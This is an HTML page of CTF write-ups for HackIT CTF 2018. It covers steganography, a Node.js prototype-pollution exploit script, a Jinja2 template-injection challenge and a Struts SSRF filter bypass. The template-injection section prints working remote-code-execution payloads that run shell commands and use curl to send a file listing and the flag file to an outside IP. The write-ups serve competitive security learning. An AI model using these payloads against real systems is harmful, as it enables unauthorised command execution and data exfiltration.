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<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
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<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>HackIT CTF 2018</title>
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margin-left:0;
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}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
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.sidebar-submenu {
font-size: 0.9rem;
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.sidebar-separator-title {
background-color: #333;
height: 35px;
}
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height: 25px;
}
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background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
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content:"";
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margin:-56px 0 0; /* negative fixed header height */
}
</style>
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// https://stackoverflow.com/a/48330533
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<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
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<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
welcome
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#get-going">get-going</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#republic-of-gayming">republic-of-gayming</a>
<a class="dropdown-item" href="#believer-case">believer-case</a>
<a class="dropdown-item" href="#peehpee2">peehpee2</a>
</div>
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<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
reverse
</a>
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<a class="dropdown-item" href="#coffee_overflow">coffee_overflow</a>
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<span class="submenu-icon ml-auto"></span>
</div>
</a>
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<span class="menu-collapsed">get-going</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
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<span class="submenu-icon ml-auto"></span>
</div>
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<span class="menu-collapsed">republic-of-gayming</span>
</a>
<a href="#believer-case" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">believer-case</span>
</a>
<a href="#peehpee2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">peehpee2</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">reverse</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#coffee_overflow" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">coffee_overflow</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="hackit-ctf-2018"><a class="header-link" href="#hackit-ctf-2018"></a>HackIT CTF 2018</h1>
<h2 id="welcome"><a class="header-link" href="#welcome"></a>Welcome</h2>
<h3 id="get-going"><a class="header-link" href="#get-going"></a>Get Going</h3>
<p>(bookgin)</p>
<p>Actually, this should be a welcome challenge, but lots of teams find it not trivial. In the end the organizer releases 2 hints abount this welcome challenges, and directly indicates this is Zero Width Concept. lol </p>
<p>The flag is encoded in Zero Width content with <a href="https://github.com/offdev/zwsp-steg-js">zwsp-steg-js</a>.</p>
<pre class="hljs"><code>Welcome to the HackIT <span class="hljs-number">2018</span> CTF, flag is somewhere <span class="hljs-keyword">here</span>. ¯<span class="hljs-literal">_</span>(ツ)<span class="hljs-literal">_</span>/¯
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}</code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="republic-of-gayming"><a class="header-link" href="#republic-of-gayming"></a>Republic of Gayming</h3>
<p>(unsolved, written by bookgin, thanks @chmodxxx)</p>
<p>The source code:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>)
<span class="hljs-keyword">var</span> hbs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'hbs'</span>);
<span class="hljs-keyword">var</span> bodyParser = <span class="hljs-built_in">require</span>(<span class="hljs-string">'body-parser'</span>);
<span class="hljs-keyword">const</span> md5 = <span class="hljs-built_in">require</span>(<span class="hljs-string">'md5'</span>);
<span class="hljs-keyword">var</span> morganBody = <span class="hljs-built_in">require</span>(<span class="hljs-string">'morgan-body'</span>);
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">var</span> user = []; <span class="hljs-comment">//empty for now</span>
<span class="hljs-keyword">var</span> matrix = [];
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">3</span>; i++){
matrix[i] = [<span class="hljs-literal">null</span> , <span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>];
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">draw</span>(<span class="hljs-params">mat</span>) </span>{
<span class="hljs-keyword">var</span> count = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">3</span>; i++){
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> j = <span class="hljs-number">0</span>; j < <span class="hljs-number">3</span>; j++){
<span class="hljs-keyword">if</span> (matrix[i][j] !== <span class="hljs-literal">null</span>){
count += <span class="hljs-number">1</span>;
}
}
}
<span class="hljs-keyword">return</span> count === <span class="hljs-number">9</span>;
}
app.use(<span class="hljs-string">'/static'</span>, express.static(<span class="hljs-string">'static'</span>));
app.use(bodyParser.json());
app.set(<span class="hljs-string">'view engine'</span>, <span class="hljs-string">'html'</span>);
morganBody(app);
app.engine(<span class="hljs-string">'html'</span>, <span class="hljs-built_in">require</span>(<span class="hljs-string">'hbs'</span>).__express);
app.get(<span class="hljs-string">'/'</span>, (req, res) => {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">3</span>; i++){
matrix[i] = [<span class="hljs-literal">null</span> , <span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>];
}
res.render(<span class="hljs-string">'index'</span>);
})
app.get(<span class="hljs-string">'/admin'</span>, (req, res) => {
<span class="hljs-comment">/*this is under development I guess ??*/</span>
<span class="hljs-keyword">if</span>(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send(<span class="hljs-string">'Hey admin your flag is <b>flag{redacted}</b>'</span>)
}
<span class="hljs-keyword">else</span> {
res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Forbidden'</span>);
}
}
)
app.post(<span class="hljs-string">'/api'</span>, (req, res) => {
<span class="hljs-keyword">var</span> client = req.body;
<span class="hljs-keyword">var</span> winner = <span class="hljs-literal">null</span>;
matrix[client.row][client.col] = client.data;
<span class="hljs-built_in">console</span>.log(matrix);
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">3</span>; i++){
<span class="hljs-keyword">if</span> (matrix[i][<span class="hljs-number">0</span>] === matrix[i][<span class="hljs-number">1</span>] && matrix[i][<span class="hljs-number">1</span>] === matrix[i][<span class="hljs-number">2</span>] ){
<span class="hljs-keyword">if</span> (matrix[i][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>) {
winner = <span class="hljs-number">1</span>;
}
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(matrix[i][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>) {
winner = <span class="hljs-number">2</span>;
}
}
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][i] === matrix[<span class="hljs-number">1</span>][i] && matrix[<span class="hljs-number">1</span>][i] === matrix[<span class="hljs-number">2</span>][i]){
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][i] === <span class="hljs-string">'X'</span>) {
winner = <span class="hljs-number">1</span>;
}
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(matrix[<span class="hljs-number">0</span>][i] === <span class="hljs-string">'O'</span>) {
winner = <span class="hljs-number">2</span>;
}
}
}
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] && matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>] && matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>){
winner = <span class="hljs-number">1</span>;
}
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] && matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>] && matrix[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>){
winner = <span class="hljs-number">2</span>;
}
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] && matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] && matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'X'</span>){
winner = <span class="hljs-number">1</span>;
}
<span class="hljs-keyword">if</span> (matrix[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>] === matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] && matrix[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>] === matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] && matrix[<span class="hljs-number">2</span>][<span class="hljs-number">0</span>] === <span class="hljs-string">'O'</span>){
winner = <span class="hljs-number">2</span>;
}
<span class="hljs-keyword">if</span> (draw(matrix) && winner === <span class="hljs-literal">null</span>){
res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: <span class="hljs-number">0</span>}))
}
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (winner !== <span class="hljs-literal">null</span>) {
res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: winner}))
}
<span class="hljs-keyword">else</span> {
res.send(<span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">winner</span>: <span class="hljs-number">-1</span>}))
}
})
app.listen(<span class="hljs-number">3000</span>, () => {
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">'app listening on port 3000!'</span>)
})</code></pre><p>The main objective is to pass the condition:
<code>if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken)</code></p>
<p>However, <code>user = []</code> and there is no other operation which will modify the list. It seems impossible to pass this condition......</p>
<p>The most suspicious assignment is the operation of matrix, and we can control row,col and data.</p>
<pre class="hljs"><code>matrix[client.row][client.col] = client.data;</code></pre><p>Ok but this is <code>matrix</code> not the <code>user</code> list. It has nothing to do with <code>user</code> list.</p>
<p>But you know, this is javascript. Everything can happen.</p>
<p>Take a look at <a href="https://github.com/HoLyVieR/prototype-pollution-nsec18/">Javascript prototype pollution</a>. The basic idea is to override/create a new attribute in the prototype. <code>matrix['__proto__']</code> is the prototype of javascript list. Leveraging this we can add the <code>admintoken</code> attribute to the list:</p>
<pre class="hljs"><code>matrix[<span class="hljs-string">'__proto__'</span>][<span class="hljs-string">'admintoken'</span>] = <span class="hljs-string">"helloworld"</span>;</code></pre><p>The payload:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
s = requests.session()
<span class="hljs-comment"># leverage matrix[row][col] = data</span>
print(s.post(<span class="hljs-string">'http://127.0.0.1:3000/api'</span>, json={<span class="hljs-string">'row'</span>:<span class="hljs-string">'__proto__'</span>,<span class="hljs-string">'col'</span>:<span class="hljs-string">'admintoken'</span>, <span class="hljs-string">'data'</span>:<span class="hljs-string">'helloworld'</span>}).text)
<span class="hljs-comment"># md5sum of 'hellworld' </span>
print(s.get(<span class="hljs-string">'http://127.0.0.1:3000/admin'</span>, params={<span class="hljs-string">"querytoken"</span>:<span class="hljs-string">"fc5e038d38a57032085441e7fe7010b0"</span>}).text)</code></pre><p>This is a very cool challenge. Although I didn't solve it, I learn a lot :)</p>
<h3 id="believer-case"><a class="header-link" href="#believer-case"></a>Believer Case</h3>
<p> (bookgin)</p>
<p>After a few testing we can quickly identify the vulnerabilty: Server Side Template Injection. <code>http://185.168.131.123/{{3*3}}</code> = 9</p>
<p>Next is to identify the backend. The error page of <code>http://185.168.131.123/a/b/c/</code> looks like Python Flask. Does the server use jinja2 to render the template?</p>
<p>Yes, it can be confirmed by <code>{{7*'7'}}</code> resulting 7777777. Refer to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections#jinja2">this</a>.</p>
<p>However, the server will filter some words like <code>mro</code>,<code>+</code>, <code>|</code>,<code>class</code> ...., which makes RCE a little tricky.</p>
<p>We first try to use <code>g</code> (flask.ctx object) and <code>session</code> to result in RCE but cannot find anything useful. A quick Google we found <a href="https://ctftime.org/task/6505">this problem</a> and some solution utilizes <code>url_for</code> (jinja2 function) to RCE.</p>
<p>So let's try <code>url_for.__globals__</code>, and we can see the <code>os</code> module is in the global!</p>
<p>RCE is trivial now:</p>
<pre class="hljs"><code><span class="hljs-comment"># list files</span>
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"ls -all > /tmp/abc"</span>)}}
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"curl 140.112.30.52:12345 -F data=@/tmp/abc"</span>)}}
<span class="hljs-comment"># get the flag</span>
http://185.168.131.123/{{url_for.__globals__.os.system(<span class="hljs-string">"curl 140.112.30.52:12345 -F data=@flag_secret_file_910230912900891283"</span>)}}</code></pre><p>(The reverse shell doesn't work:( so the solution is dirty. )</p>
<p>Here is the flag:</p>
<p><code>flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}</code></p>
<h3 id="peehpee2"><a class="header-link" href="#peehpee2"></a>PeeHPee2</h3>
<p>(unsolved, written by bookgin, thanks to @chmodxxx)</p>
<p>The hint incicates the server is running Apache Struts 2.3.14, and provide a interface to fetch the url page.</p>
<p>But it's not so easy to SSRF. The server side filters some words like <code>.</code>,<code>localhost</code>, <code>::</code>.</p>
<p>We can bypass the filter using decimal IP <code>http://3114828676:1234/index.html</code>.</p>
<p>and then use <a href="https://github.com/bhdresh/CVE-2018-11776">Struts 2.3.14 CVE</a> to send the payload to localhost.</p>
<p><a href="https://github.com/DefConUA/HackIT2018/tree/master/web/PeeHPee2">Offcial writeup</a></p>
<h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="coffee_overflow"><a class="header-link" href="#coffee_overflow"></a>coffee_overflow</h3>
<p> (sasdf)</p>
<p><a href="https://github.com/sasdf/ctf-tasks-writeup/blob/master/writeup/2018/HackIT/coffee_overflow/README.md">A very lengthy writeup</a></p>
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